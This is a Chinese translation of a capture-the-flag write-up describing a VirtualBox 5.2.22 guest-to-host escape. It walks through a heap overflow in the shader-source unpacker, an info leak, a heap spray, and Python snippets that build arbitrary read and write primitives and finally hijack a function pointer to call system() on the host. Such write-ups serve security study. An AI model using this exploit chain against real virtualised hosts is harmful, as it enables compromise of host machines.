将目光聚焦到2018年10月,我注意到 Niklas Baumstark发表了一篇关于VirtualBox的chromium库的一篇文章。在这之后的两周,我发现并报告了十几个可以轻松实现虚拟机逃逸的漏洞。但VM逃逸的原理都千篇一律。
2018年12月底,我注意到Niklas发了一条关于3C35 CTF的推文,他称VirtualBox挑战chromacity尚未被任何人解决。这句话勾起了我的好奇心,我想要成为第一个攻克这个难题的人。
挑战是要以64位xubuntu上以VirtualBox v5.2.22为目标,实现虚拟机逃逸。这个挑战包含了一个提示,提示是API glShaderSource()
文档的一张图片。起初,我认为是出题方为了出题人为地在这个函数中注入了一个bug,然而,在查看了它在chromium中的实现之后,我意识到这个bug是真实存在的。
下面是src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
的代码摘录
void crUnpackExtendShaderSource(void) { GLint *length = NULL; GLuint shader = READ_DATA(8, GLuint); GLsizei count = READ_DATA(12, GLsizei); GLint hasNonLocalLen = READ_DATA(16, GLsizei); GLint *pLocalLength = DATA_POINTER(20, GLint); char **ppStrings = NULL; GLsizei i, j, jUpTo; int pos, pos_check; if (count >= UINT32_MAX / sizeof(char *) / 4) { crError("crUnpackExtendShaderSource: count %u is out of range", count); return; } pos = 20 + count * sizeof(*pLocalLength); if (hasNonLocalLen > 0) { length = DATA_POINTER(pos, GLint); pos += count * sizeof(*length); } pos_check = pos; if (!DATA_POINTER_CHECK(pos_check)) { crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check); return; } for (i = 0; i < count; ++i) { if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check)) { crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check); return; } pos_check += pLocalLength[i]; } ppStrings = crAlloc(count * sizeof(char*)); if (!ppStrings) return; for (i = 0; i < count; ++i) { ppStrings[i] = DATA_POINTER(pos, char); pos += pLocalLength[i]; if (!length) { pLocalLength[i] -= 1; } Assert(pLocalLength[i] > 0); jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i]; for (j = 0; j < jUpTo; ++j) { char *pString = ppStrings[i]; if (pString[j] == '\0') { Assert(j == jUpTo - 1); pString[j] = '\n'; } } } // cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength); cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0); crFree(ppStrings); }
此方法使用宏READ_DATA
获取用户数据。它只需读取客户机使用HGCM接口发送的消息(此消息存储在堆中)。然后调整输入并将其传递给cr_unpackDispatch.ShaderSource()
。
第一个明显的攻击点是crAlloc(count * sizeof(char*))
。检查变量count是否在某个(正)范围内。但是,因为它是一个带符号的整数,所以也应该检查负数。如果我们选择count
足够大,例如0x80000000
,由于整数溢出(这里的所有变量都是32位),与sizeof(char*)==8
的乘法都将生成0。理想情况下,由于分配的缓冲区太小而count
太大,这可能导致堆溢出。然而,这段代码并不容易受到此类攻击,因为如果count为负值,则根本不会执行循环(变量i是有符号的,因此它的比较也是有符号的)。
实际的漏洞不太明显。即在第一个循环中,pos_check
增加了一个数组的长度。在每次迭代中,都会验证地址,以确保总长度仍然在范围内。这段代码的问题是,pos_check只在下一次迭代中测试是否越界。这意味着数组的最后一个元素从未经过测试,并且可以任意大。
缺少验证会产生什么影响?本质上,在嵌套循环中,j表示pString
的索引,并从0计数到pLocalLength[i]
。这个循环将每个\0
字节转换为一个\n
字节。对于任意长度,我们可以使循环超出边界,并且由于pString指向堆上的HGCM消息中的数据,这实际上是一个堆溢出问题。
即使我们不能溢出可控内容,如果我们明智地利用它,我们仍然可以获得任意代码执行。对于漏洞利用,我们将使用3dpwn,这是一个专为攻击3D加速而设计的库。我们将大量使用CRVBOXSVCBUFFER_t
对象,这也是之前研究的目标。它包含一个唯一的ID,一个可控制的大小,一个指向guest虚拟机可以写入的实际数据的指针,以及最后一个双向链表的下一个/前一个指针:
typedef struct _CRVBOXSVCBUFFER_t { uint32_t uiId; uint32_t uiSize; void* pData; _CRVBOXSVCBUFFER_t *pNext, *pPrev; } CRVBOXSVCBUFFER_t;
此外,我们还将使用CRConnection
对象,该对象包含各种函数指针和指向缓冲区的指针,guest可以读取缓冲区。
如果我们破坏前一个对象,我们可以得到一个任意的写原语,如果我们破坏了后一个对象,我们就可以得到一个任意的读原语和任意的代码执行。
1.泄漏CRConnection
对象的指针。
2.向堆中喷射大量CRVBOXSVCBUFFER_t
对象并保存它们的ID。
3.执行glShaderSource()
并利用我们的恶意信息占领这个漏洞。然后,易受攻击的代码将使其溢出到相邻的对象中—理想情况下是溢出到CRVBOXSVCBUFFER_t
中。我们试图破坏它的ID和大小,以使第二个堆溢出,以此类推,我们将会有更多的控制权。
4.查找ID列表,看看其中一个是否丢失了。缺少的ID应该是使用换行符损坏的ID。
5.用此ID中的换行符替换所有零字节以获取损坏的ID。
6.此损坏的对象现在的长度将大于原来的长度。我们将使用它溢出到第二个CRVBOXSVCBUFFER_t
,并使它指向CRConnection
对象。
7.最后,我们可以控制CRConnection对象的内容,如前所述,我们可以破坏它来实现任意读取原语和任意代码执行。
8.找出system()的地址,并用它覆盖函数指针Free()。
9.在主机上运行任意命令。
由于我们的目标是VirtualBox v5.2.22,所以它不容易受到CVE-2018-3055的攻击,因为针对CVE-2018-3055,v5.2.20已经打了补丁。
该漏洞被利用来泄漏CRConnection地址,为了攻克难题,我们是否应该使用新的信息?还是重新设计漏洞利用战略?
令人惊讶的是,即使在v5.2.22版本中,上面提到的代码仍然能够泄漏我们想要的对象!怎么可能呢?不是已经打好补丁了吗?如果我们仔细观察,就会发现分配的对象的大小为0x290字节,而连接的OFFSET_CONN_CLIENT为0x248。这并不是真正的越界!
msg = make_oob_read(OFFSET_CONN_CLIENT) leak = crmsg(client, msg, 0x290)[16:24]
有趣的是,这是由于一个未初始化的内存错误造成的。也就是说,svcGetBuffer()方法请求堆内存来存储来自guest的消息。然而,它没有清除缓冲区。因此,任何返回消息缓冲区数据的API都可能被滥用,从而向guest泄露堆的有价值信息。我假设Niklas知道这个漏洞,所以我决定用它来解决这个挑战。事实上,在比赛后的几个星期,这个错误的补丁被修补并分配为CVE-2019-2446。
我们可以使用alloc_buf()将CRVBOXSVCBUFFER_t喷射到堆上,如下所示:
bufs = [] for i in range(spray_num): bufs.append(alloc_buf(self.client, spray_len))
从经验上讲,我发现通过选择spray_len = 0x30
和spray_num = 0x2000
,它们的缓冲区最终将是连续的,并且pData指向的缓冲区与另一个CRVBOXSVCBUFFER_t相邻。
这是通过将命令SHCRGL_GUEST_FN_WRITE_READ_BUFFERED
发送到HOST来实现的,其中hole_pos = spray_num - 0x10
:
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[hole_pos], "A" * 0x1000, 1337])
在src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp上查看此命令的实现
既然我们已经仔细地设置了好了堆,我们就可以分配消息缓冲区并触发溢出,如下所示:
msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) + '\0\0\0' + chr(CR_EXTEND_OPCODE) + 'aaaa' + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE) + pack("<I", 0) # shader + pack("<I", 1) # count + pack("<I", 0) # hasNonLocalLen + pack("<I", 0x22) # pLocalLength[0] ) crmsg(self.client, msg, spray_len)
请注意,我们发送的消息的大小与刚刚释放的消息大小完全相同。由于glibc堆的工作方式,它可能会占用完全相同的位置。此外,请注意count=1
,并记住只有最后一个长度可以任意大。由于只有一个元素,显然第一个元素也是最后一个元素。
最后,让pLocalLength[0] = 0x22
。这个值足够小,只会损坏ID和大小字段(我们不想损坏pData)。
这是怎么算出来的?
我们的消息是0x30字节长。
pString的偏移量为0x28。
glibc块标头(64位)为0x10字节宽。
uiId和uiSize都是32位无符号整数。
pLocalLength[0]在crUnPackExtenShaderSource()中减去2
因此,我们需要0x30-0x28=8
个字节才能到达消息的末尾,0x10
个字节才能遍历块标头,还有8
个字节才能覆盖uiId
和uiSize
。由于减法,我们必须再加2个字节。总的来说,这等于0x22字节。
回想一下,size字段是一个32位无符号整数,我们选择的size是0x30字节。因此,在损坏之后,这个字段将保存值0x0a0a0a30(三个零字节已被字节0x0a替换)。
找到损坏的ID稍微复杂一些,需要我们遍历ID列表以找出其中哪一个丢失了。为此,我们向每个ID发送一条SHCRGL_GUEST_FN_WRITE_BUFFER
消息,如下所示:
print("[*] Finding corrupted buffer...") found = -1 for i in range(spray_num): if i != hole_pos: try: hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [bufs[i], spray_len, 0, ""]) except IOError: print("[+] Found corrupted id: 0x%x" % bufs[i]) found = bufs[i] break if found < 0: exit("[-] Error could not find corrupted buffer.")
最后,我们手动将每个\0替换为一个\n字节,以匹配损坏的缓冲区的ID(请原谅我的python技巧):
id_str = "%08x" % found new_id = int(id_str.replace("00", "0a"), 16) print("[+] New id: 0x%x" % new_id)
现在我们拥有了制造第二次溢出所需的一切,我们终于可以控制它的内容了。我们的最终目标是覆盖pData字段,并使其指向我们之前泄漏的 CRConnection
对象。
使用new_id
和size0x0a0a0a30
,我们现在将破坏第二个CRVBOXSVCBUFFER_t。与上一次溢出类似,这是因为这些缓冲区彼此相邻。但是,这一次我们用ID为0x13371337、大小为0x290和指向self.pConn的伪对象覆盖它。
try: fake = pack("<IIQQQ", 0x13371337, 0x290, self.pConn, 0, 0) hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [new_id, 0x0a0a0a30, spray_len + 0x10, fake]) print("[+] Exploit successful.") except IOError: exit("[-] Exploit failed.")
请注意,spray_len + 0x10
表示偏移量(同样,我们跳过块标头的0x10字节)。这样做之后,我们可以任意修改CRConnection
对象的内容。如前所述,这最终使我们能够任意读取原语,并允许我们通过替换Free()函数指针来调用任何需要的函数。
发出SHCRGL_GUEST_FN_READ
命令时,来自pHostBuffer的数据将发送回guest。使用自定义的 0x13371337 ID
,我们可以用自定义指针覆盖此指针及其相应的大小。然后,我们使用self.client2
客户端发送SHCRGL_GUEST_FN_READ
消息以触发任意读取(这是泄漏的CRConnection的客户端ID):
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUF, pack("<Q", where)]) hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)]) res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
每个CRConnection
对象都有函数指针alloc()
、Free()
等。存储guest的消息缓冲区。此外,它们将CRConnection对象本身作为第一个参数。它可以用来启动一个ROP链,例如,或者简单地使用任意命令调用system()。
为此,我们覆盖OFFSET_CONN_FREE
处的指针和偏移量0处所需参数的内容,如下所示:
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_FREE, pack("<Q", at)]) hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])
触发Free()非常简单,只需要我们使用self.client2向主机发送任何有效的消息。
我们已经知道一个地址,即crVBoxHGCMFree()
。它是存储在Free()字段中的函数指针。此子例程位于模块VBoxOGLhostcrutil
中,该模块还包含libc的其他stubs。因此,我们可以很容易地计算system()
的地址。
self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE) print("[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree) self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650 print("[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil) self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070) print("[+] memset: 0x%x" % self.memset) self.libc = self.memset - 0x18ef50 print("[+] libc: 0x%x" % self.libc) self.system = self.libc + 0x4f440 print("[+] system: 0x%x" % self.system)
在这一点上,我们距离捕获flag只有一步之遥。该flag存储在~/Desktop/Flag.txt
的文本文件中。我们可以通过使用任何文本编辑器或终端打开文件来查看其内容。
在第一次提交期间出现的一个小问题是,它使系统崩溃。我很快意识到我们不能使用超过16个字节的字符串,因为有些指针位于这个偏移量。用无效内容覆盖它将导致分段错误。因此,我用了一个小技巧,将文件路径缩短了两次,这样就可以用更少的字符打开它:
p.rip(p.system, "mv Desktop a\0") p.rip(p.system, "mv a/flag.txt b\0") p.rip(p.system, "mousepad b\0")
4-5小时后,我就能获得flag了,我很兴奋能第一个解决这个难题.
如果您以前一直在处理这个难题,那么解决它并不是一件很难的事情。据我所知,在没有任何infoleak的情况下,可以通过建立一个更好的heap
constellation 来解决这个问题,在这个constellation
中,我们可以直接溢出到CRConnection对象中,并修改cbHostBuffer字段,最后导致越界读取原语。
感谢阅读!
原文:https://theofficialflow.github.io/2019/04/26/chromacity.html
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.